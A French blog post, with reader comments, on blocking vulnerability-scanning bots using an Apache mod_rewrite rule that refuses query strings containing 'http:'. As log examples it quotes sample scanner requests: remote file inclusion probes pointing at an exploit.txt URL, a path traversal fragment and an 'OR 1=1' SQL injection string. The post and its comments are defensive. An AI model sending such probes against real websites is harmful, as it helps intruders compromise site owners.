Bloquer les scanners de failles de sécurité avec Mod_Rewrite


poing
Cet article explique comment filtrer une partie des robots, qui scannent en permanence les sites web afin de trouver des vulnérabilités exploitables.

Dernièrement, une petite analyse de mes statistiques m'a permis de remarquer que mes sites web étaient scannés de façon quasi permanente par des robots, à la recherche de la moindre vulnérabilité. J'estime au passage qu'ils auraient subi environ 10 000 scans en l'espace de quelques mois.

Les requêtes HTTP utilisées sont souvent de la forme :

  • page.php?error=http://monsite.fr/exploit.txt?
  • page.php?action=logout&siteurl=http://monsite.fr/exploit.txt?
  • page.php?list=..%2F..%2F..http://monsite.fr/exploit.txt?
  • page.php?NWCONF_SYSTEM[server_path]=http://monsite.fr/exploit.txt?
  • page.php?page=3%20OR1=1c

En fait, elles sont généralement utilisées pour exploiter les failles php basées sur la fonction include.

Dans la plupart des cas, on remarquera que les soit-disant pirates tentent d'exécuter un exploit stocké sur un autre site web, sûrement compromis lui aussi. L'url contient donc systématiquement la chaîne "http://xxxx".

En utilisant mod_rewrite, on va donc pouvoir les bloquer facilement. Voici un exemple de syntaxe à utiliser dans un fichier .htaccess ou dans le fichier de configuration d'apache /etc/httpd/http.conf :

RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*)http(\:|\%3A)(.*)$
ReWriteRule .* - [F]

Quelques explications :

  • la première ligne active mod_rewrite au niveau du serveur Apache
  • la seconde filtre toutes les requêtes qui contiennent "http:"
  • enfin, la dernière ligne interdit l'accès au site (F pour Forbidden) pour celles-ci

16 Commentaires pour "Bloquer les scanners de failles de sécurité avec Mod_Rewrite"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    J'ai l'impression que ces tentatives d'attaque se multiplient en ce moment.

    Voici une astuce bien utile. Merci.

    RépondreRépondre
    Pixfan , le 27 décembre 2007 à 11:26
  •  

    @Pixfan : effectivement elles se multiplies, et le plus génant est que cela à tendance à fausser les statistiques.

    RépondreRépondre
    pti-seb , le 27 décembre 2007 à 15:13
  •  

    Bien utile en effet, je viens de l'installer (le 26/12/2007) et je reçoit plus de mail d'avertissement de ce genre:

    A user tried to go to gr-slb.com/blog/blog/2007... and received a 404 (page not found) error. It wasn't their fault, so try fixing it. They came from gr-slb.com/blog/2007/12/0...

    un bon millier par jour depuis plus d'un mois

    RépondreRépondre
    Fulcanelli , le 28 décembre 2007 à 10:18
  •  

    Petite précision tout de même, la faille de sécurité ce n'est pas la fonction include de php mais l'utilisation abusive et non sécurisé faite par certain développeurs : PEBKAC...

    RépondreRépondre
    LLaumgui , le 28 décembre 2007 à 20:33
  •  

    Merci pour l'astuce, je vais de ce pas la mettre en pratique sur mon site et voir ce qu'il en est. Sachant que je ne suis vraiement pas un expert dans la securité php et site web, c'est vraiement bien des billets et astuces simples à mettre en oeuvre qui abordent ces sujets.

    RépondreRépondre
    StandarT , le 3 janvier 2008 à 21:49
  •  

    Merci pour ces astuces, cependant je n'ai pas compris "- enfin, la dernière ligne interdit l'accès au site (F pour Forbidden) pour celles-ci". Que fait exactment la dernière ligne ?

    Merci.

    RépondreRépondre
    DiGGeR2 , le 4 janvier 2008 à 15:20
  •  

    @DiGGeR2 : en gros, avec mod_rewrite tu peux effectuer une action sur un groupe d'urls. Par exemple tu peux écrire une condition qui filtre toutes les urls qui finise par .php et décider de les rediriger ailleurs.

    Ici, on isole toutes les tentatives de priatages et on interdit l'accès à leur utilisateur.

    Enfin j'ai pas trouvé plus simple pour l'expliquer ...

    RépondreRépondre
    pti-seb , le 4 janvier 2008 à 23:10
  •  

    C'est toujours bon à savoir ! merci de l'info :)

    Chouette blog au passage, une mine d'infos ;)

    RépondreRépondre
    AzrieL , le 11 janvier 2008 à 15:37
  •  

    Bonne astuce. Les robots tentent leur chance même quand on utilise pas PHP, et c'est pénible.

    RépondreRépondre
    Linux , le 15 janvier 2008 à 12:36
  •  

    Bonjour,
    Merci pour cette cette aide bien utile.

    J'ai constaté que de temps en temps il y a des internautes que aspirent mon site. Visiblement, c'est possible même en ayant Internet Explorer comme navigateur et non seulement des outils spécialisés.

    Y a t-il un moyen pour bloquer l'aspiration, si c'est possible indépendamment du navigateur utilisé ??

    Merci d'avance

    RépondreRépondre
    akinaton , le 16 mars 2008 à 11:58
  •  

    Intéressant, je voulais savoir si il est obligatoire ou non de le mettre dans le fichier .htaccess (racine du site ou dans le fichier de configuration d'apache /etc/httpd/http.conf

    Car dans le .htaccess seul je n'ai pas réussi a bloquer le scanner de faille

    RépondreRépondre
    es , le 20 septembre 2009 à 12:44
  •  

    @es : tu peux mettre la configuration dans le fichier /etc/httpd/http.conf sans problème. En générale, quand cela ne marche pas avec un .htaccess, c'est parce que ces derniers ne sont pas prit en compte par le serveur (il est possible d'activer ou non leur prise en charge).

    Sinon, il faut bien vérifier que mod_rewrite est installé et activé.

    RépondreRépondre
    pti-seb , le 20 septembre 2009 à 19:32
  •  

    Short run equilibrium In short'run equilibrium we require labor markets to clear but take as fixed. ,

    RépondreRépondre
    Mark10 , le 23 octobre 2009 à 11:30
  •  

    Ne fonctionne que contre les attaques en GET, le mod_rewrite n'est qu'un écran de fumé (on peut encore faire des SQL injec. XSS etc.

    RépondreRépondre
    es , le 2 décembre 2009 à 15:50
  •  

    Mouais, c'est qu'un voile de fumée car l'on peut encore faire des attaques par injection en GET après la mise en place de rewrite rules. D'ailleurs cette solution ne s'axe qu'en GET alors que les attaques (que ce soit des LFI, RFI, SQLi etc.) se font aussi en POST.

    Et de plus, les RFI peuvent être bloquées dans le php.ini avec allow_url_fopen (dans le cadre d'un serveur PHP lambda) onc cette seule condition de rewrite sert à rien. Un problème se présente d'ailleurs lorsque l'on veut faire un système de redirection d'URL afin de réaliser des statistiques sur les clics vers des URL externes.

    RépondreRépondre
    Félix Aimé , le 2 décembre 2009 à 16:36
  •  

    Slt. J'aimerais recuperer les données d'une requêtes http: post , afin de controller le contenu avant de les envoyés ou non vers le serveur web(apache) pour execution. Prière de m'indiquer une documentation ou quoi que ce soit pour me venir en aide. Merci d'avance

    RépondreRépondre
    montegneu , le 1 septembre 2011 à 20:47
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum